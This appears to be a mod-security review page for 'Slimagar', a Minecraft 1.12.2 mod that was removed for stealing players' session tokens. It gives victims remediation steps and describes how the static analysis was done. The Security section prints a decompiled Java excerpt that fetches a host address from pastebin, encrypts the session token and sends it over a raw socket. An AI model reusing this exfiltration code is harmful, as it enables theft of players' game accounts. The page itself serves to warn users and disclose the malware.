Slimagar
Modagar.io for slimes
Removed from CurseForge on 24 Oct 2026. Modgrade reported malware in it to CurseForge on 20 Oct 2026 and to CurseForge on 24 Oct 2026.
Malware: a file of this project steals your Minecraft session and sends it to a server. See Security
Why no grade
Malware was found in one of its files, so it has no grade. See Security
In-game changes
It has no file for a recent Minecraft version. This is about its files for Minecraft 1.12.2.
Adds no new blocks, items or other content.
Keeps all of vanilla Minecraft's textures, models and sounds.
Details
- Creator
- zr22
- License
- Not listed
- Downloads
- 1.4K
- Created
- 9 Nov 2019
- Official page
- CurseForge
Security
Malware: it steals your Minecraft session and sends it to a server
Found in this file: slimgario-1.0.jar (9 Nov 2019). Its download is blocked.
We found this in its code, read without running it.
Because of this malware, it has no grade.
If you installed it
- Remove
slimgario-1.0.jarfrom your mods folder. - Run a full scan with your antivirus.
- Sign out of all sessions and change your Microsoft account password.
- Check your other mods.
Another project by this creator, 
DASMTTIISE, contains malware according to our analysis.
What it can do on your computer
- Steals your Minecraft session and sends it to a serverMalware
- One part of the code reads saved logins, tokens or your game session, and a linked part sends data to a fixed address.
- Sends your Minecraft login tokenWarning
- Sends your Minecraft login token to an address built at run time, not to Mojang. With it, someone can use your account.
- Connects to the internet
- It has code that can go online. It contacts 1 web address. See Privacy
Why we show this: a mod runs on your computer like any program, so harmful code in it can take your accounts or files. In the grade: malware means no grade, and a Warning in a latest file for a recent Minecraft version lowers it.
How we checked
- FilesWe download the files from Modrinth or CurseForge and look at what is inside them and what their code can do, without running them. Fixed rules tell what is harmful.1 latest file. It is not for a recent Minecraft version, so the answer above is about it. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks. See each file in Releases
- Their codeWe turn the code of the files back into readable code and follow what it does, without running it. This shows what it downloads, what it sends and where your login goes.Read without running it
- Steals your Minecraft session and sends it to a server
com/zr22/slimgario/Slimgariosends the game session token, over a raw connection; "tcp://{?}:{?}"; "api: Socket" - Looked for, not foundWe looked for these in the file and did not find them.Folders outside the game, other programs, updating itself, the webcam or microphone, an AI service.
- Code excerptsParts of the code of1
slimgario-1.0.jar, turned back into readable code, where our checks found the problem.com.zr22.slimgario.Slimgario.postInit2private void postInit2() throws Exception { HttpURLConnection conn = (HttpURLConnection)new URL("https://pastebin.com/raw/LvTiE2Pu").openConnection(); conn.setDoInput(true); conn.setRequestMethod("GET"); conn.connect(); conn.disconnect(); try (Scanner scanner = new Scanner(conn.getInputStream()).useDelimiter("\\A")) { byte[] key = Hex.decodeHex(Minecraft.func_71410_x().func_110432_I().func_148255_b().toCharArray()); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, new SecretKeySpec(key, "AES")); byte[] body = cipher.doFinal(Minecraft.func_71410_x().func_110432_I().func_148254_d().getBytes()); body = Bytes.concat(new byte[][]{key, body}); String[] address = scanner.next().split(":"); try (Socket socket = new Socket(address[0], Integer.parseInt(address[1]))) { socket.getOutputStream().write(body); } } }
Privacy
Malware: it steals your Minecraft session and sends it to a server
Sent to pastebin.com and an address built while the game runs.
Found by the file checks. See Security for what to do if you installed it.
How we checked
- Files readWe read the code without running it. We list each web address the code contacts while you play, and what it sends. Code that is never used is left out.The code of its one file, for Minecraft 1.12.2. See each file in Releases
- pastebin.comUploads crash reports or logs.Crash reports
- Address built while the game runsThe code builds this address while the game runs: it is not written in the file.Purpose not known.Your Minecraft session token and your player ID
AI
No sign so far that AI was used to make it
We looked for AI tools in its description, files and images and found none.
We have not read its changelogs yet.
No sign of AI in the game
We found no AI service, AI library or AI model file in its code.
Why we show this: some players and servers avoid projects made with AI, and AI in the game can send what you write to an online service. Not in the grade: using AI does not tell whether a project works well or is kept up to date.
How we checked
- Author on ModrinthA form on Modrinth where the author can declare AI content and AI features in the game. It is optional and most authors leave it empty.Not on Modrinth.
- Description and changelogsThe description, project page and newest changelogs: sentences saying an AI tool was used, and text pasted from an AI chat.Nothing found in the descriptionChangelogs not read yet
- Its filesFiles that AI coding tools leave behind (like AGENTS.md), and the texts inside the files you download.Nothing found
- Images in its filesHidden data in the images of the files you download, where AI image tools write their name and settings.Nothing found
- Code of the modThe code and files of the mod, read without running it: addresses of AI services, AI libraries, AI model files and a place for your own AI key.No AI service, AI library or AI model file1 code file read
Compatibility
See the file in ReleasesPoint at or tap a version to see its loaders.
Modpacks using this project
Find modpacks with itModpacks that include Slimagar in at least one of their versions, most downloaded first.
Latest files
The newest file for each Minecraft version and loader. None is for a recent Minecraft version. Recent versions: those released in the last 2 years, plus 1.20.1 and 1.21.1, among the most played in modpacks.